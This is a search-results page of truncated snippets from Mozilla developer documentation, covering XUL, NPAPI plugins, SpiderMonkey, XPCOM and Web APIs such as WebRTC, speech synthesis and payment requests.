...the children of these nested rows are counted as normal rows as if they were part of the parent.
...And 3 more matches
scrollbar - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] when a container's contents which are larger that the size of the container, scroll bars may be placed at the side of the container to allow the user to scroll around in the container.
... attributes curpos, increment, maxpos, pageincrement examples <scrollbar curpos="5" maxpos="50"/> attributes curpos type: integer the current position of the scrollbar, which ranges from 0 to the value of the maxpos attribute.
... increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribute changes when the arrows are clicked(or scales are dragged).
...And 3 more matches
treecell - Archive of obsolete content
attributes editable, label, mode, properties, ref, src, value attributes editable type: boolean allows the contents of individual cells in the column to be changed, especially useful when <treecol type="checkbox">.
...when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell.
... properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
...And 3 more matches
XUL Application Packaging - Archive of obsolete content
xulrunner application packages are standard toolkit bundles (like a firefox extension), with one additional manifest file (application.ini) which helps describe the application.
... xul app packages are typically zipped into an archive with the extension .xulapp or .xpi.
... application.ini the application.ini manifest is located at the root of the extension and provides metadata that allows xulrunner to launch the application properly.
...And 3 more matches
calICalendarView - Archive of obsolete content
it also fueled the development, however, of the more predictable, but less flexible calidecoratedview, which usually contains an embedded calicalendarview.
... last changed in gecko ?
... controller the controller for a calicalendarview is an implementation of calicalendarviewcontroller and provides an integral link with the code in which a calicalendarview may be used.
...And 3 more matches
2006-11-22 - Archive of obsolete content
summary: mozilla.dev.accessibility - nov 17-nov 22, 2006 announcements mozilla osk project grant aaron leventhal (on behalf of michael curran) mentiond that there is now an nvda email list you can join if you wish to keep up to date with the latest changes, or if you wish to discuss new features or talk with other nvda users.
... to join, send a blank email with subscribe in the subject field to: nvda...@freelists.org (click here to view the original post and unmask the e-mail address) michael would like to thank stormdragon for setting this up.
... new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox".
...And 3 more matches
2006-11-3 - Archive of obsolete content
check thread for complete details.
... opening l10n repository on mozilla_1_8_branch for approved check-ins mozilla_1_8_branch is opened for approved check-ins.
... check-ins are limited to bug fixes filed in bugzilla and should mention their bug, describe the change, and who approved the change.
...And 3 more matches
2006-11-17 - Archive of obsolete content
preed reports that the machine with autoconf is back up.
... but there is another outage scheduled so the tinderboxen will be down early.
... mozilla scheduled downtime - 11/14/2006, 9:30pm - 1:00am pst a number of machines are going to go down.
...And 3 more matches
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 11 - november 17, 2006 announcements none this week.
... reflow branch testing wanted l.
... david baron would like users to test the reflow branch as it is coming close to being merged with the trunk.
...And 3 more matches
Monitoring plugins - Archive of obsolete content
it is therefore technically incorrect to say that the runtime is a measure of cpu use, however, it is a good representation of overall resources being consumed by the plugin.
... below are a number of javascript snippets that would be useful to developers trying to use this feature: registration to register for runtime notifications with the observer service you must create a class with an observe method which receives 3 parameters (subject, topic and data) as well as a register method that contains the following code: var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice (components.interfaces.nsiobserverservice); observerservice.addobserver(this, "experimental-notify-plugin-call", false); observing as discussed above, to specify what...
...e runtime in an alert box to the user if the runtime exceeds half a second in length: observe: function(subject, topic, data) { if (topic == "experimental-notify-plugin-call" ) { if (data > 0.500) { alert("runtime is: " + data); } } } note: this is just a simplified example and the use of alert() is discouraged as the component can send hundreds of notifications each second and could potentially cause your browser to crash if an excessive number of alert boxes are displayed.
...And 3 more matches
NPN_RequestRead - Archive of obsolete content
syntax #include <npapi.h> nperror npn_requestread(npstream* stream, npbyterange* rangelist); parameters the function has the following parameters: stream stream of type np_seek from which to read bytes.
... rangelist range of bytes in the form of a linked list of npbyterange objects, each of which specifies a request for a range of bytes.
...for multiple requests, the function creates a linked list of npbyterange structures, each of which represents a separate request.
...And 3 more matches
NPP_SetWindow - Archive of obsolete content
window pointer to the window into which the instance draws.
...subsequent calls to npp_setwindow indicate changes in size or position; these calls pass the same npwindow object each time, but with different values.
... the data structure passed in npp_setwindow is an npwindow object, which contains the coordinates of the instance's area and various platform-specific data.
...And 3 more matches
NPStream - Archive of obsolete content
syntax typedef struct _npstream { void* pdata; /* plug-in private data */ void* ndata; /* netscape private data */ const char* url; uint32 end; uint32 lastmodified; void* notifydata; const char *headers; } npstream; fields the data structure has the following fields: plug-in-private value that the plug-in can use to store a pointer to private data associated with the instance; not modified by the browser.
...can be zero for streams of unknown length, such as streams returned from older ftp servers or generated "on the fly" by cgi scripts.
...lines are terminated by newline characters ("\n"), and the headers are terminated by a newline followed by null ("\n\0").
...And 3 more matches
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
this is an incomplete example of what a piece of code might look like that tries to check for the proper mozilla version.
...nperror np_initialize(npnetscapefuncs* nstable, nppluginfuncs* pluginfuncs) { nperror err = nperr_no_error; prbool supportsxembed = pr_false; npntoolkittype toolkit = 0; [ code that copies all of the function tables and does ] [ other standard checks ] /* * make sure that the browser supports functionality we care * about.
...if you return with an error from your initialization function the plugin will not be used which avoids crashes and other problems.
...And 3 more matches
Syndicating content with RSS - Archive of obsolete content
syndication (or web syndication) is a method which lets a web site make its content available for others to read, listen to, or watch.
...rss is a tool which helps to syndicate your content by organizing it into a form that's easy for machines to parse and reuse.
...when this is the case, the html web page can let people and machines know about the feed by using the <link> element, like this: <link rel="alternate" type="application/rss+xml" href="http://example.com/feed" /> adding the <a> while use of the html <link> element is powerful, it is mostly hidden.
...And 3 more matches
Using IO Timeout And Interrupt On NT - Archive of obsolete content
this technical memo is a cautionary note on using netscape portable runtime's (nspr) io timeout and interrupt on windows nt 3.51 and 4.0.
... nspr io on nt the io model of nspr 2.0 is synchronous and blocking.
...on windows nt, nspr io is implemented using nt's overlapped (also called asynchronous) io.
...And 3 more matches
Array comprehensions - Archive of obsolete content
the array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one.
... the following comprehension takes an array of numbers and creates a new array of the double of each of those numbers.
... var numbers = [1, 2, 3, 4]; var doubled = [for (i of numbers) i * 2]; console.log(doubled); // logs 2,4,6,8 this is equivalent to the following map() operation: var doubled = numbers.map(i => i * 2); comprehensions can also be used to select items that match a particular expression.
...And 3 more matches
New in JavaScript 1.8.5 - Archive of obsolete content
the following is a changelog for javascript 1.8.5.
...bug 492845 object.freeze() freezes an object: other code can't delete or change any properties.
...bug 492844 array.isarray() checks if a variable is an array.
...And 3 more matches
JavaObject - Archive of obsolete content
created by any java method which returns an object type.
... properties inherits public data members from the java class of which it is an instance as properties.
... methods inherits public methods from the java class of which it is an instance.
...And 3 more matches
Mozilla XForms Specials - Archive of obsolete content
in the mozilla xforms extension we added a getinstancedocuments() function to the model which returns all the model's instance documents.
...we have added a function via the getfeature() call on each node, that allows the form author to do that.
...custom control interface we have added a lot of functionality to our user interface, which allows the form authors to create custom controls.
...And 3 more matches
Requests For Enhancement - Archive of obsolete content
ArchiveWebXFormsRFE
if you have an idea that might improve mozilla's xforms implementation then you should choose one of the following rfe categories and put your request there.
...the xforms team looks at votes to help determine which bug is more important for our xforms users.
...now we need to start teaching xforms to web newcomers before they are brainwashed into believing that the only way to build cool web apps is to do dom surgery with javascript!
...And 3 more matches
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
in version 4 browsers such as netscape navigator 4.x and internet explorer 4.x, tables generally "broke" the inheritance of font styling.
... if the author had set a font size on the body element, for example, the font size of text within a table would match the user's default, not the body style.
... this led to a number of workarounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the behavior in some cases.
...And 3 more matches
Techniques for game development - Game development
this page lists essential core techniques for anyone wanting to develop games using open web technologies.
... using async scripts for asm.js especially when creating medium to large-sized games, async scripts are an essential technique to take advantage of, so that your game's javascript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users.
... using webrtc peer-to-peer data channels in addition to providing support for audio and video communication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players.
...And 3 more matches
Debugging Chrome
--disable-accelerated-2d-canvas will disable gpu canvas google has a page on using pix on chrome.
... unfortunately, it requires using --single-process which crashes on startup for me.
...i copied the d3d9.dll into both c:\users\jrmuizel\appdata\local\google\chrome sxs\application\22.0.1186.0 and c:\users\jrmuizel\appdata\local\google\chrome sxs\application\.
...And 3 more matches
Debugging a hang on OS X (Archived)
below are steps you can use to attach so-called "samples" to bug reports.
... creating the sample on mac os x 10.5 (xcode < 4.2) when the application is still hung, open up spin control.app (it’s in your <tt>/developer/applications/performance tools/</tt> folder; if it is missing, install the latest computer hardware understanding development (chud) tools from apple).
... creating the sample on mac os x 10.4 when the application is still hung, open up sampler.app (it’s in your <tt>/developer/applications/performance tools/</tt> folder; if it is missing, install the latest computer hardware understanding development (chud) tools from apple.).
...And 3 more matches
HTMLIFrameElement.clearMatch()
the clearmatch() method of the htmliframeelement clears any content highlighted by findall() or findnext().
... invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
... syntax instanceofhtmliframeelement.clearmatch(); returns void.
...And 3 more matches
mozbrowsermetachange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowsermetachange event is fired when a <meta> element related to web applications is added, removed or changed.
... type a domstring representing the type of meta change that this event object represents.
...And 3 more matches
mozbrowseropensearch
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowseropensearch event is fired when a link to a search engine is found — i.e.
... when an instance of <link rel="search" type="application/opensearchdescription+xml"> is encountered.
...And 3 more matches
mozbrowsersecuritychange
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowsersecuritychange event is fired when the browser <iframe> has connected to the server, and when the mixed content state changes.
...this may mean that the request is being loaded as part of a page in which some content was received over an insecure channel.
...And 3 more matches
mozbrowserselectionstatechanged
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowserselectionstatechanged event is fired when the text selected inside the browser <iframe> content changes.
... note that this is deprecated, and current implementations should use mozbrowsercaretstatechanged instead.
...And 3 more matches
Chrome-only CSS reference
MozillaGeckoChromeCSS
this page lists css properties that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg.
... ua stylesheets.) note: most of the css properties exposed to the web in general are also usable in chrome stylesheets: see the css documentation for a list of these.
...it only works in chrome code, and only on mac os x.:-moz-lwthemethe :-moz-lwtheme pseudo-class matches in chrome documents when the root element's lightweightthemes attribute is true and a theme is selected.:-moz-lwtheme-brighttextthe :-moz-lwtheme-brighttext pseudo-class matches in chrome documents when :-moz-lwtheme is true and a lightweight theme with a bright text color is selected.:-moz-lwtheme-darktextthe :-moz-lwtheme-darktext pseudo-class matches in chrome documents when :-moz-lwtheme is true and a lightweight theme with a dark text color is selected.::-moz-tree-cellactivated by the properties attribute.::-moz-tree-cell-textactivated by the properties attribute.::-moz-tre...
...And 3 more matches
nss tech note7
rsa signing and encryption with nss nss technical note: 7 this technical note explains how to use nss to perform rsa signing and encryption.
... pkcs #1 defines an rsa public key as a sequence of modulus and public exponent, both of which are integers.
... */ inpubkey.m_modulus.type = siunsignedinteger; inpubkey.m_exponent.type = siunsignedinteger; arena = port_newarena(der_default_chunksize); sec_asn1encodeitem(arena, &derpubkey, &inpubkey, myrsapublickeytemplate); pubkey = seckey_importderpublickey(&derpubkey, ckk_rsa); port_freearena(arena, pr_false); public keys may be extracted from certificates.
...And 3 more matches
JS_GetLatin1FlatStringChars
this article covers features introduced in spidermonkey 38 get the chars of a flat string.
... syntax const js::latin1char * js_getlatin1flatstringchars(const js::autocheckcannotgc &nogc, jsflatstring *str); const char16_t * js_gettwobyteflatstringchars(const js::autocheckcannotgc &nogc, jsflatstring *str); name type description cx jscontext * a context.
... nogc js::autocheckcannotgc &amp; a reference to js::autocheckcannotgc.
...And 3 more matches
JS_SaveFrameChain
saves and restores frame chains.
... syntax bool js_saveframechain(jscontext *cx); void js_restoreframechain(jscontext *cx); name type description cx jscontext * the context to query.
...after a call to js_saveframechain, it looks as if there is no code running on cx.
...And 3 more matches
jschar
jschar is the type of javascript "characters", the 16-bit elements that make up strings.
... jschar, a typedef for the standard c++ type char16_t, will be removed in jsapi 38.
... functions that use jschar will use char16_t directly.
...And 3 more matches
nsICacheMetaDataVisitor
netwerk/cache/nsicacheentrydescriptor.idlscriptable this interface is used for visiting the meta data elements for a specified cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean visitmetadataelement(in string key, in string value); methods visitmetadataelement() this method is called for each key/value pair in the meta data for a cache entry.
... boolean visitmetadataelement( in string key, in string value ); parameters key the key for visiting the meta data for a cache entry.
...And 3 more matches
nsIDOMChromeWindow
dom/interfaces/base/nsidomchromewindow.idlscriptable this interface is implemented on the window object in chrome.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void beginwindowmove(in nsidomevent mousedownevent); void getattention(); void getattentionwithcyclecount(in long acyclecount); void maximize(); void minimize(); void notifydefaultbuttonloaded(in nsidomelement defaultbutton); void restore(); void setcursor(in domstring cursor); attributes attribute type description browserdomwindow nsibrowserdomwindow the related nsibrowserdomwindow instance which provides access to yet another layer of utility functions by chrome script.
... messagemanager nsichromeframemessagemanager read only.
...And 3 more matches
XPCOM Thread Synchronization
xpcom thread synchronization primitives have the same semantics as those in nspr, and each method of these synchronization objects (e.g.
... mutex::lock()) has a matching function in nspr (pr_lock()).
...this article covers the api of mozilla synchronization only.
...And 3 more matches
Mozilla technologies
mozilla has several technologies used as components of its projects.
... accessibility api implementation detailsthese pages contain documentation on mozilla specific implementation details of assistive technology apis.animated png graphicsapng is an extension of the portable network graphics (png) format, adding support for animated images.
...at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla co...
...And 3 more matches
AudioDestinationNode.maxChannelCount - Web APIs
the maxchannelcount property of the audiodestinationnode interface is an unsigned long defining the maximum amount of channels that the physical device can handle.
... the audionode.channelcount property can be set between 0 and this value (both included).
... if maxchannelcount is 0, like in offlineaudiocontext, the channel count cannot be changed.
...And 3 more matches
AudioNode.channelCount - Web APIs
the channelcount property of the audionode interface represents an integer used to determine how many channels are used when up-mixing and down-mixing connections to any inputs to the node.
... channelcount's usage and precise definition depend on the value of audionode.channelcountmode: it is ignored if the channelcountmode value is max.
... it is used as a maximum value if the channelcountmode value is clamped-max.
...And 3 more matches
ChannelMergerNode() - Web APIs
the channelmergernode() constructor creates a new channelmergernode object instance.
... syntax var mynode = new channelmergernode(context, options); parameters context a baseaudiocontext representing the audio context you want the node to be associated with.
... options optional a channelmergeroptions dictionary object defining the properties you want the channelmergernode to have (also inherits parameters from the audionodeoptions dictionary): numberofinputs: a number defining the number of inputs the channelmergernode should have.
...And 3 more matches
ChildNode.replaceWith() - Web APIs
the childnode.replacewith() method replaces this childnode in the children list of its parent with a set of node or domstring objects.
... syntax [throws, unscopable] void childnode.replacewith((node or domstring)...
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy.
...And 3 more matches
Clients.matchAll() - Web APIs
WebAPIClientsmatchAll
the matchall() method of the clients interface returns a promise for a list of service worker client objects.
... syntax self.clients.matchall(options).then(function(clients) { // do something with your clients list }); parameters options optional an options object allowing you to set options for the matching operation.
... available options are: includeuncontrolled: a boolean — if set to true, the matching operation will return all service worker clients who share the same origin as the current service worker.
...And 3 more matches
Document.anchors - Web APIs
WebAPIDocumentanchors
the anchors read-only property of the document interface returns a list of all of the anchors in the document.
... syntax nodelist = document.anchors; value an htmlcollection.
... example if (document.anchors.length >= 5) { dump("found too many anchors"); } the following is an example that auto populates a table of contents with every anchor on the page: <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>test</title> <script> function init() { var toc = document.getelementbyid("toc"); var i, li, newanchor; for (i = 0; i < document.anchors.length; i++) { li = document.createelement("li"); newanchor = document.createelement('a'); newanchor.href = "#" + document.anchors[i].name; newanchor.innerhtml = document.anchors[i].text; li.appendchild(newanchor); toc.appendchild(li); } } </script> </head> <body onload="init()"> <h1>title</h1> <h2><a name="contents">contents</a></h2> <ul id="toc"></ul> <h2><a name="plant...
...And 3 more matches
Document: fullscreenchange event - Web APIs
the fullscreenchange event is fired immediately after the browser switches into or out of full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenchange the event is sent to the element that is transitioning into or out of full-screen mode, and this event then bubbles up to the document.
... to find out whether the element is entering or exiting full-screen mode, check the value of documentorshadowroot.fullscreenelement: if this value is null then the element is exiting full-screen mode, otherwise it is entering full-screen mode.
...And 3 more matches
Element.onfullscreenchange - Web APIs
the element interface's onfullscreenchange property is an event handler for the fullscreenchange event that is fired when the element has transitioned into or out of full-screen mode.
... syntax targetdocument.onfullscreenchange = fullscreenchangehandler; value an event handler for the fullscreenchange event, indicating that the element has changed in or out of full-screen mode.
... example this example establishes a fullscreenchange event handler, handlefullscreenchange().
...And 3 more matches
FontFaceSet.check() - Web APIs
WebAPIFontFaceSetcheck
the check() method of the fontfaceset returns whether all fonts in the given font list have been loaded and are available.
... syntax bool = afontfaceset.check(font); bool = afontfaceset.check(font, text); returns a boolean that is true if the font list is available parameters font: a font specification using the css value syntax, e.g.
... "italic bold 16px roboto" text: limit the font faces to those whose unicode range contains at least one of the characters in text.
...And 3 more matches
HTMLAnchorElement.referrerPolicy - Web APIs
the htmlanchorelement.referrerpolicy property reflect the html referrerpolicy attribute of the <a> element defining which referrer is sent when fetching the resource.
... syntax refstr = anchorelt.referrerpolicy; anchorelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent.
... "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.
...And 3 more matches
MediaTrackConstraints.channelCount - Web APIs
the mediatrackconstraints dictionary's channelcount property is a constrainlong describing the requested or mandatory constraints placed upon the value of the channelcount constrainable property.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { channelcount: constraint }; constraintsobject.channelcount = constraint; value if this value is a number, the user agent will attempt to obtain media whose channel count is as close as possible to this number given the capabilities of the hardware and the other constraints specified.
...And 3 more matches
MediaTrackSettings.echoCancellation - Web APIs
the mediatracksettings dictionary's echocancellation property is a boolean value whose value indicates whether or not echo cancellation is enabled on an audio track.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.echocancellation property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... echo cancellation is a feature which attempts to prevent echo effects on a two-way audio connection by attempting to reduce or eliminate crosstalk between the user's output device and their input device.
...And 3 more matches
MessageChannel() - Web APIs
the messagechannel() constructor of the messagechannel interface returns a new messagechannel object with two new messageport objects.
... syntax var channel = new messagechannel(); returns a newly created messagechannel object.
... example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
...And 3 more matches
MutationObserverInit.childList - Web APIs
the mutationobserverinit dictionary's optional childlist property indicates whether or not to monitor the specified node or nodes for the addition or removal of new child nodes.
... if childlist is false (the default), adding or removing new nodes does not trigger mutation callbacks.
... by setting childlist to true, your callback will be invoked any time nodes are added to or removed from the dom node or nodes being watched.
...And 3 more matches
ParentNode.children - Web APIs
the parentnode property children is a read-only property that returns a live htmlcollection which contains all of the child elements of the node upon which it was called.
... syntax let children = node.children; value an htmlcollection which is a live, ordered collection of the dom elements which are children of node.
... you can access the individual child nodes in the collection by using either the item() method on the collection, or by using javascript array-style notation.
...And 3 more matches
PaymentMethodChangeEvent.methodDetails - Web APIs
the read-only methoddetails property of the paymentmethodchangeevent interface is an object containing any data the payment handler may provide to describe the change the user has made to their payment method.
... syntax details = paymentmethodchangeevent.methodname; value an object containing any data needed to describe the changes made to the payment method.
... the contents vary depending on the actual payment method chosen, so you will need to refer to the methodname property first, then inerpret the methoddetails after that.
...And 3 more matches
PaymentRequest: shippingaddresschange event - Web APIs
the shippingaddresschange event is sent to the paymentrequest object when the user selects a shipping address or changes details of their shipping address.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onshippingaddresschange usage notes depending on the browser, the shipping address information may be redacted for privacy reasons.
... that is, the paymentaddress which contains the shipping address may have some portions of its content altered, obscured, or left out entirely in order to prevent identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address).
...And 3 more matches
PaymentRequest: shippingoptionchange event - Web APIs
for payment requests that request shipping information, and for which shipping options are offered, the shippingoptionchange event is sent to the paymentrequest whenever the user chooses a shipping option from the list of available options.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onshippingoptionchange examples this code snippet sets up a handler for the shippingoptionchange event.
... the code recalculates the total charge for the payment based on the selected shipping option.
...And 3 more matches
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
the rtcdatachannel property bufferedamountlowthreshold is used to specify the number of bytes of buffered outgoing data that is considered "low." the default value is 0.
...this event may be used, for example, to implement code which queues more messages to be sent whenever there's room to buffer them.
... the user agent may implement the process of actually sending data in any way it chooses; this may be done periodically during the event loop or truly asynchronously.
...And 3 more matches
RTCDataChannel: error event - Web APIs
a webrtc error event is sent to an rtcdatachannel object's onerror error handler when an error occurs on the data channel.
... examples // strings for each of the sctp cause codes found in rfc // 4960, section 3.3.10: // https://tools.ietf.org/html/rfc4960#section-3.3.10 const sctpcausecodes = [ "no sctp error", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart...
... of an association with new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": console.error(" identity provider load failure: http error ", err.httprequeststatuscode); break; case "sctp-failure": if (err.sctpcausecode < sctpcausecodes.length) { console.error(" sctp failure: ", err.sctpcausecode); } else { console.error(" unknown sctp error"); } break; case "dtls-failure":...
...And 3 more matches
RTCDataChannel.onclose - Web APIs
the rtcdatachannel.onclose property is an eventhandler which specifies a function to be called by the browser when the close event is received by the rtcdatachannel.
... this is a simple event which indicates that the data channel has closed down.
... syntax rtcdatachannel.onclose = function; value a function which the browser will call to handle the close event.
...And 3 more matches
RTCDataChannel.onmessage - Web APIs
the rtcdatachannel.onmessage property stores an eventhandler which specifies a function to be called when the message event is fired on the channel.
...this event is sent to the channel when a message is received from the other peer.
... syntax rtcdatachannel.onmessage = function; value a function which the browser will call to handle the message event.
...And 3 more matches
RTCDataChannel.protocol - Web APIs
the read-only rtcdatachannel property protocol returns a domstring containing the name of the subprotocol in use.
... if no protocol was specified when the data channel was created, then this property's value is "" (the empty string).
... the permitted values of this property are defined by the web site or app using the data channel.
...And 3 more matches
RTCIceTransport: gatheringstatechange event - Web APIs
a gatheringstatechange event is sent to an rtcicetransport when its ice candidate gathering state changes.
... bubbles no cancelable no interface event event handler property ongatheringstatechange the key difference between gatheringstatechange and icegatheringstatechange is that the latter represents the overall state of the connection including every rtcicetransport used by every rtcrtpsender and every rtcrtpreceiver on the entire connection.
... in contrast, gatheringstatechange represents changes to the candidate gathering state for a single transport.
...And 3 more matches
RTCIceTransport.ongatheringstatechange - Web APIs
the ongatheringstatechange event handler for the rtcicetransport interface specifies an event handler that is to be called when the gatheringstatechange event occurs on the transport.
... this event is delivered whenever the transport's gatheringstate property changes.
... syntax rtcicetransport.ongatheringstatechange = statechangehandler; value a function to be called when the rtcicetransport object's gathering state changes.
...And 3 more matches
RTCIceTransport.onselectedcandidatepairchange - Web APIs
the rtcicetransport interface's onselectedcandidatepairchange event handler specifies a function to be called to handle the selectedcandidatepairchange event, which is fired when the ice agent selects a new candidate pair to be used for the connection.
... syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for communication with the remote peer.
... this event will occur at least once, and may occur more than once if the ice agent continues to identify candidate pairs that will work better, more closely match the requested parameters, and so forth.
...And 3 more matches
RTCPeerConnection.ondatachannel - Web APIs
the rtcpeerconnection.ondatachannel property is an eventhandler which specifies a function which is called when the datachannel event occurs on an rtcpeerconnection.
... this event, of type rtcdatachannelevent, is sent when an rtcdatachannel is added to the connection by the remote peer calling createdatachannel().
... at the time this event is received, the rtcdatachannel it indicates may not yet actually be open.
...And 3 more matches
RTCPeerConnection.oniceconnectionstatechange - Web APIs
the rtcpeerconnection.oniceconnectionstatechange property is an event handler which specifies a function to be called when the iceconnectionstatechange event is fired on an rtcpeerconnection instance.
... this happens when the state of the connection's ice agent, as represented by the iceconnectionstate property, changes.
... syntax rtcpeerconnection.oniceconnectionstatechange = eventhandler; value this event handler can be set to function which is passed a single input parameter: an event object describing the iceconnectionstatechange event which occurred.
...And 3 more matches
RTCPeerConnection.onicegatheringstatechange - Web APIs
the rtcpeerconnection.onicegatheringstatechange property is an eventhandler which specifies a function to be called when the icegatheringstatechange event is sent to an rtcpeerconnection instance.
... this happens when the ice gathering state—that is, whether or not the ice agent is actively gathering candidates—changes.
... you don't need to watch for this event unless you have specific reasons to want to closely monitor the state of ice gathering.
...And 3 more matches
RTCPeerConnection.onsignalingstatechange - Web APIs
the onsignalingstatechange event handler property of the rtcpeerconnection interface specifies a function to be called when the signalingstatechange event occurs on an rtcpeerconnection interface.
... the function receives as input the event object of type event; this event is sent when the peer connection's signalingstate changes, which may happen either because of a call to setlocaldescription() or to setremotedescription().
... syntax rtcpeerconnection.onsignalingstatechange = errorhandler; value set this to a function which you provide that receives an event object as input; this contains the signalingstatechange event.
...And 3 more matches
RTCRtpReceiver.getSynchronizationSources() - Web APIs
the getsynchronizationsources() method of the rtcrtpreceiver interface returns an array of rtcrtpcontributingsource instances, each corresponding to one ssrc (synchronization source) identifier received by the current rtcrtpreceiver in the last ten seconds.
... return value an array of rtcrtpsynchronizationsource instances.
... each instance describes one of the synchronization sources that provided data to the incoming stream in the past ten seconds.
...And 3 more matches
ScreenOrientation.onchange - Web APIs
the onchange property of the screenorientation is an event handler fired whenever is the eventhandler called when the screen changes orientation.
... syntax screenorientation.addeventlistener('change', function(e) { ...
... }) screenorientation.onchange = function(e) { ...
...And 3 more matches
SharedWorkerGlobalScope.applicationCache - Web APIs
important: application cache is deprecated as of firefox 44, and is no longer available in insecure contexts from firefox 60 onwards (bug 1354175, currently nightly/beta only).
... the applicationcache read-only property of the sharedworkerglobalscope interface returns the applicationcache object for the worker (see using the application cache).
... syntax var nameobj = self.applicationcache; value an applicationcache.
...And 3 more matches
SpeechRecognition.interimResults - Web APIs
the interimresults property of the speechrecognition interface controls whether interim results should be returned (true) or not (false.) interim results are results that are not yet final (e.g.
... the speechrecognitionresult.isfinal property is false.) the default value for interimresults is false.
... syntax var myinterimresult = myspeechrecognition.interimresults; myspeechrecognition.interimresults = false; value a boolean representing the state of the current speechrecognition's interim results.
...And 3 more matches
SpeechRecognitionError - Web APIs
the speechrecognitionerror interface of the web speech api represents error messages from the recognition service.
... this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
... properties speechrecognitionerror also inherits properties from its parent interface, event.
...And 3 more matches
SpeechSynthesis.getVoices() - Web APIs
the getvoices() method of the speechsynthesis interface returns a list of speechsynthesisvoice objects representing all the available voices on the current device.
... syntax speechsynthesisinstance.getvoices(); parameters none.
... return value a list (array) of speechsynthesisvoice objects.
...And 3 more matches
SpeechSynthesis.speak() - Web APIs
the speak() method of the speechsynthesis interface adds an utterance to the utterance queue; it will be spoken when any other utterances queued before it have been spoken.
... syntax speechsynthesisinstance.speak(utterance); returns void.
... parameters utterance a speechsynthesisutterance object.
...And 3 more matches
SpeechSynthesisErrorEvent - Web APIs
the speechsynthesiserrorevent interface of the web speech api contains information about any errors that occur while processing speechsynthesisutterance objects in the speech service.
... properties speechsynthesiserrorevent extends the speechsynthesisevent interface, which inherits properties from its parent interface, event.
... speechsynthesiserrorevent.error read only returns an error code indicating what has gone wrong with a speech synthesis attempt.
...And 3 more matches
SpeechSynthesisUtterance.rate - Web APIs
the rate property of the speechsynthesisutterance interface gets and sets the speed at which the utterance will be spoken at.
... syntax var myrate = speechsynthesisutteranceinstance.rate; speechsynthesisutteranceinstance.rate = 1.5; value a float representing the rate value.
... it can range between 0.1 (lowest) and 10 (highest), with 1 being the default pitch for the current platform or voice, which should correspond to a normal speaking rate.
...And 3 more matches
TouchEvent() - Web APIs
the touchevent() constructor creates a new touchevent.
... syntax event = new touchevent(typearg, toucheventinit); values typearg is a domstring representing the name of the event.
... toucheventinit optional is a toucheventinit dictionary, having the following fields: "touches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact currently touching the surface.
...And 3 more matches
TouchEvent.altKey - Web APIs
WebAPITouchEventaltKey
summary a boolean value indicating whether or not the alt (alternate) key is enabled when the touch event is created.
... syntax var altenabled = touchevent.altkey; return value altenabled true if the alt key is enabled for this event; and false if the alt is not enabled.
... example this example illustrates how to access the touchevent key modifier properties: touchevent.altkey, touchevent.ctrlkey, touchevent.metakey and touchevent.shiftkey.
...And 3 more matches
URLSearchParams() - Web APIs
the urlsearchparams() constructor creates and returns a new urlsearchparams object.
... syntax var urlsearchparams = new urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-urlencoded format.
... a leading '?' character is ignored.
...And 3 more matches
URLUtilsReadOnly.search - Web APIs
the urlutilsreadonly.search read-only property returns a domstring containing a '?' followed by the parameters of the url.
